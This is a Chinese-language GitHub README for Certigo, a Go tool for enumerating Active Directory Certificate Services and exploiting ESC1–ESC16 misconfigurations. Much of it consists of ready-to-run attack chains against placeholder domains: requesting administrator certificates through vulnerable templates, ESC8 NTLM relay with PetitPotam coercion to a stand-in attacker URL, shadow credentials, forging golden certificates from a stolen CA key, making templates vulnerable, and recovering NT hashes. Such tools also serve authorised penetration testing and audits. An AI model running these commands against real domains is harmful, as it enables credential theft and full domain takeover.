ajm4n/certigo
GitHub: ajm4n/certigo
一个用 Go 编写的活动目录证书服务(AD CS)枚举、漏洞检测与攻击利用工具。
Stars: 11 | Forks: 1
# Certigo
用Go编写的AD CS枚举和利用工具 — 在单一静态二进制文件中实现与Certipy同等的功能。
Certigo枚举活动目录证书服务(Active Directory Certificate Services),检测ESC1–ESC16错误配置,并支持后续攻击(阴影凭证、黄金证书、PKINIT、NTLM中继、强制、RBCD)。基于`gokrb5`、`go-ldap`、`go-msrpc`、`go-ntlmssp`和`go-pkcs12`构建。纯Go实现,无cgo依赖,可交叉编译至linux/windows/darwin × amd64/arm64平台。 ## 安装 ``` go install github.com/ajm4n/certigo/cmd/certigo@latest # 或从 Releases 页面下载发行版二进制文件 ``` ## 概述 ``` # 枚举所有 CA + 模板,运行 ESC1-16 检测,生成 pretty table certigo find -d corp.local -u alice -p Pass123 --dc-host 10.0.0.1 --vulnerable --short # 通过 /certsrv/ Web 注册请求 ESC1 证书(NTLM-over-HTTP,HTTP 回退) certigo req -d corp.local -u alice --hashes :NTHASH \ --ca ca.corp.local --ca-name CORP-CA --template ESC1 \ --upn administrator@corp.local --dc-host 10.0.0.1 \ --method web --insecure-tls --out admin.pfx # 使用签发的 PFX 进行 PKINIT,获取 TGT,通过 U2U + unPAC 恢复 NT 哈希 certigo auth --pfx admin.pfx --domain corp.local --dc-ip 10.0.0.1 --principal administrator ``` ## 子命令 | 命令 | 功能说明 | |---|---| | `find` | 枚举所有CA和模板,运行ESC1-ESC16检测。筛选条件:`--enabled`、`--vulnerable`、`--enrollable`、`--esc ESC1,ESC4`。输出格式:`text`、`short`、`json`、`zip`、`bloodhound`。 | | `auth` | 使用PFX进行PKINIT认证,将TGT写入ccache文件,可选`--print`选项通过U2U+unPAC-the-hash输出NT哈希。 | | `req` | 通过DCOM(默认)、RPC上的ICPR(`--method rpc`)或`/certsrv/`网页注册(`--method web`)申请证书。支持HTTP上的NTLM协议,自动回退HTTPS→HTTP,支持密码和哈希传递认证。 | | `shadow` | 在目标用户上添加/查看/清除/移除`msDS-KeyCredentialLink`条目(阴影凭证)。生成包含新密钥的PFX文件。 | | `forge` | 使用窃取的CA私钥签名黄金证书(CN=任意用户模拟)。写入`NTDS-CA-Security-Ext` SID扩展确保证书通过KB5014754强映射验证。 | | `template` | 通过LDAP读取/写入/备份/恢复模板。`--action make-vulnerable`选项可将可写模板转为ESC1类型的注册者提供主体+客户端认证EKU。 | | `account` | 通过LDAP创建/修改/删除用户和计算机账户(例如添加虚假计算机以绕过MachineAccountQuota实现RBCD)。 | | `ca` | 对CA进行DCOM操作:备份签名证书、批准/拒绝待处理请求、添加/移除管理员、发布/取消发布模板。 | | `req` | (同上)— 覆盖DCOM/RPC/网页注册路径。 | | `relay` | 监听HTTP NTLM请求,中继至`/certsrv/`,为每个受害者生成PFX文件。内置PetitPotam/DFSCoerce/PrinterBug触发机制,通过`--trigger`指定。 | | `cert` | 本地PFX↔PEM格式转换、密钥提取、密码修改。 | | `parse` | 离线解析AD CS EVTX日志和注册表配置单元(`.reg`文件)。 | | `ptt` | 将kirbi票据转换为ccache,或将现有ccache传递至`$KRB5CCNAME`。 | 每个子命令均可通过`certigo <命令> --help`查看完整参数列表。 ## 常用参数 大多数子命令接受相同的认证和传输参数: | 参数 | 含义 | |---|---| | `-d`, `--domain` | AD域名(例如 `corp.local`) | | `-u`, `--username` | sAMAccountName | | `-p`, `--password` | 密码 | | `--hashes LM:NT` | NTLM哈希(LM可为空:`:NTHASH`)— 哈希传递认证 | | `--dc-host`, `--dc-ip` | KDC/DC主机名或IP地址 | | `-k`, `--kerberos` | 使用Kerberos(GSSAPI)绑定,通过`$KRB5CCNAME`中的ccache文件 | | `--ldaps` | 使用LDAPS协议(端口636自动启用) | | `--ldap-insecure` | 在LDAPS连接时跳过TLS证书验证 | | `--simple-bind` | LDAP简单绑定(默认使用NTLM) | | `--pfx`, `--pfx-password` | 在支持的子命令中使用PFX认证(`auth`、`shadow`) | | `--pem-cert`, `--pem-key` | 当PFX不适用时使用PEM证书/密钥对 | ## 端到端ESC1攻击链 ``` # 1. 查找易受攻击的模板 certigo find -d corp.local -u alice -p Pass123 --dc-host 10.0.0.1 --vulnerable --short # 2. 通过该模板请求管理员证书(Web 注册,NTLM-over-HTTP) certigo req -d corp.local -u alice -p Pass123 \ --ca ca.corp.local --ca-name CORP-CA \ --template ESC1 --upn administrator@corp.local \ --dc-host 10.0.0.1 --method web --insecure-tls --out admin.pfx # 3. 使用证书进行 PKINIT 并恢复 NT 哈希 certigo auth --pfx admin.pfx --domain corp.local --dc-ip 10.0.0.1 --principal administrator --print # corp.local\administrator:0:LM:NT::: ``` ## ESC8攻击(NTLM中继 → AD CS网页注册) ``` # 1. 监听入站 HTTP NTLM,中继到 CA certigo relay --listen :80 --target http://ca.corp.local/certsrv/ \ --template DomainController --out-dir ./loot & # 2. 从目标 DC 触发强制认证 certigo relay --trigger petitpotam --target-host dc.corp.local \ --attacker-url 'http://attacker/foo' -d corp.local -u alice -p Pass123 # 3. 使用捕获的 DC 机器证书进行 PKINIT certigo auth --pfx ./loot/DC01\$.pfx --domain corp.local --dc-ip 10.0.0.1 --principal 'DC01$' --print ``` ## 阴影凭证攻击 ``` # 为 alice 添加密钥凭据,获取可用于 PKINIT 的 PFX certigo shadow add --target alice -d corp.local -u attacker -p ... \ --dc-host 10.0.0.1 --out alice.pfx # 以 alice 身份进行 PKINIT certigo auth --pfx alice.pfx --domain corp.local --dc-ip 10.0.0.1 --principal alice --print ``` ## 黄金证书攻击 ``` # 1. 备份 CA 签名证书 + 密钥(需要 CA 管理员权限) certigo ca backup --ca-name CORP-CA --dc-host 10.0.0.1 \ -d corp.local -u admin -p ... --out corp-ca.pfx # 2. 为任何具有正确 SID 扩展的用户伪造证书 certigo forge --ca-pfx corp-ca.pfx --upn administrator@corp.local \ --sid S-1-5-21-...-500 --out admin-forged.pfx # 3. 进行 PKINIT certigo auth --pfx admin-forged.pfx --domain corp.local --dc-ip 10.0.0.1 --principal administrator --print ``` ## 输出结果 ``` ====== Certificate Authorities ====== 0 CA Name : CORP-CA DNS Name : ca.corp.local Web Enrollment NTLM Offered : Yes Enrollment Rights : Domain Users (ControlAccess) ... ====== Certificate Templates ====== 0 Template Name : ESC1 Enabled : Yes Schema Version : 2 Enrollee Supplies Subject : Yes Requires Manager Approval : No Extended Key Usage : Client Authentication (1.3.6.1.5.5.7.3.2) Enrollment Rights : Domain Users (ControlAccess) Authenticated Users (ControlAccess) [!] Vulnerabilities [!] ESC1 - Template allows enrollee-supplied subject with client-auth EKU ``` `certigo find --short`可将结果压缩为每个模板一行的摘要;`--format json`/`--format zip`适合导入其他工具;`--format bloodhound`可生成BloodHound所需的四个JSON分片(CertTemplates、EnterpriseCAs、RootCAs、AIACAs)。 ## 构建说明 ``` git clone https://github.com/ajm4n/certigo cd certigo go build ./cmd/certigo # 或 make release # cross-build via goreleaser ``` 纯Go实现,无cgo依赖。需Go 1.22+版本。生成单一静态二进制文件。 ## 许可证 MIT许可证。标签:Checkov, EVTX分析, HTTP, Prisma Cloud, 日志审计